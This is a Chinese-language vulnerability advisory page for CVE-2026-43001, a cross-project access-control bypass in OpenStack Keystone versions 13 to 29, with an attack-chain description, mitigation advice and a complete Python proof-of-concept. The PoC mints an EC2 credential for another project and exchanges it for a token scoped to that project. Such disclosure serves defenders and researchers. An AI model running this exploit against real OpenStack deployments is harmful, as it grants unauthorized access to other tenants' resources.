IPBUF安全漏洞报告
English
CVE-2026-43001 CVSS 7.9 高危

CVE-2026-43001 OpenStack Keystone跨项目越权漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-43001
漏洞类型
访问控制绕过
CVSS评分
7.9 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OpenStack Keystone

相关标签

OpenStackKeystone权限提升访问控制绕过横向移动逻辑漏洞CVE-2026-43001

漏洞概述

OpenStack Keystone 13至29版本中存在一个安全逻辑漏洞。在处理POST /v3/credentials请求以创建EC2类型凭证时,系统未能正确验证调用者提供的project_id是否与认证的应用凭证所属项目相匹配。这允许持有项目A无限制应用凭证的攻击者,创建一个实际上针对项目B的EC2凭证。攻击者随后可以通过/v3/ec2tokens接口交换令牌,获得作用域为项目B的Keystone令牌,从而在原凭证角色的权限范围内实现跨项目的横向移动。

技术细节

该漏洞的根源在于OpenStack Keystone在处理通过应用程序凭据创建EC2凭据时的验证逻辑缺失。当用户使用应用程序凭据进行身份验证并请求创建新的EC2凭据时,Keystone默认认为请求上下文中的项目ID是可信的,未将其与底层认证的应用程序凭据所绑定的项目ID进行强制比对。利用该漏洞需要两个步骤:首先,攻击者利用其在项目A拥有的有效应用程序凭据,向Keystone API发送POST请求,在请求体中将目标project_id指定为项目B。由于服务端校验缺失,该EC2凭据被错误地关联到项目B。其次,攻击者使用该凭据调用/v3/ec2tokens接口进行签名验证。Keystone验证通过后,会签发一个作用域为项目B的令牌。由于该令牌保留了原始应用程序凭据的角色权限,攻击者即可利用此令牌访问项目B的资源,导致跨项目的权限越界。

攻击链分析

STEP 1
1. 凭据获取
攻击者获取目标OpenStack环境中Project A的有效应用程序凭据。
STEP 2
2. 恶意创建EC2凭据
攻击者使用Project A的应用凭据认证,发送POST请求到/v3/credentials,并在请求体中将project_id参数设置为Project B的ID。
STEP 3
3. 绕过校验
Keystone服务端因存在漏洞,未校验请求中的project_id与认证上下文(Project A)的一致性,错误地创建了关联Project B的EC2凭据。
STEP 4
4. 令牌交换
攻击者使用新创建的EC2凭据调用/v3/ec2tokens接口,成功获取作用域为Project B的Keystone令牌。
STEP 5
5. 横向移动
攻击者利用Project B的令牌,在原角色权限范围内访问Project B的资源,实现跨项目横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Configuration KEYSTONE_URL = "https://<keystone_host>:5000" APP_CRED_ID = "<app_credential_id>" APP_CRED_SECRET = "<app_credential_secret>" TARGET_PROJECT_ID = "<target_project_b_id>" # The attacker wants to access this project # Step 1: Authenticate using Application Credential for Project A # to get a scoped token for Project A auth_url = f"{KEYSTONE_URL}/v3/auth/tokens" auth_data = { "auth": { "identity": { "methods": ["application_credential"], "application_credential": { "id": APP_CRED_ID, "secret": APP_CRED_SECRET } } } } headers = {'Content-Type': 'application/json'} response = requests.post(auth_url, json=auth_data, headers=headers, verify=False) if response.status_code != 201: print("Failed to authenticate with App Credential") exit(1) project_a_token = response.headers['X-Subject-Token'] print(f"Got token for Project A: {project_a_token[:20]}...") # Step 2: Exploit the vulnerability - Create EC2 Credential for Project B # using the token from Project A ec2_create_url = f"{KEYSTONE_URL}/v3/credentials" ec2_payload = { "credential": { "type": "ec2", "blob": {}, "project_id": TARGET_PROJECT_ID # VULNERABILITY: ID is not validated against token's project } } ec2_headers = { 'X-Auth-Token': project_a_token, 'Content-Type': 'application/json' } ec2_response = requests.post(ec2_create_url, json=ec2_payload, headers=ec2_headers, verify=False) if ec2_response.status_code == 201: ec2_cred_data = ec2_response.json()['credential'] access = ec2_cred_data['blob']['access'] secret = ec2_cred_data['blob']['secret'] print(f"Successfully created EC2 Cred for Project B! Access: {access}") # Step 3: Exchange EC2 Credential for a Token scoped to Project B ec2tokens_url = f"{KEYSTONE_URL}/v3/ec2tokens" ec2_auth_payload = { "auth": { "identity": { "methods": ["ec2credential"], "ec2credential": { "access": access, "secret": secret } } } } token_response = requests.post(ec2tokens_url, json=ec2_auth_payload, headers=headers, verify=False) if token_response.status_code == 201: project_b_token = token_response.headers['X-Subject-Token'] token_body = token_response.json()['token'] print(f"Got token scoped to Project: {token_body['project']['id']}") if token_body['project']['id'] == TARGET_PROJECT_ID: print("[+] Exploit successful! Lateral movement achieved.") else: print("Failed to exchange EC2 token.") else: print(f"Failed to create EC2 credential: {ec2_response.text}")

影响范围

OpenStack Keystone 13.0.0
OpenStack Keystone 14.0.0
OpenStack Keystone 15.0.0
OpenStack Keystone 16.0.0
OpenStack Keystone 17.0.0
OpenStack Keystone 18.0.0
OpenStack Keystone 19.0.0
OpenStack Keystone 20.0.0
OpenStack Keystone 21.0.0
OpenStack Keystone 22.0.0
OpenStack Keystone 23.0.0
OpenStack Keystone 24.0.0
OpenStack Keystone 25.0.0
OpenStack Keystone 26.0.0
OpenStack Keystone 27.0.0
OpenStack Keystone 28.0.0
OpenStack Keystone 29.0.0

防御指南

临时缓解措施
在应用官方补丁之前,建议管理员审查并撤销所有不必要的“无限制”应用程序凭据。同时,可以通过网络策略限制对Keystone /v3/ec2tokens接口的访问来源,或部署WAF规则检测请求中的project_id与认证上下文是否匹配(需深度包检测),但这通常难以完美实施,因此最有效的缓解措施仍是尽快升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表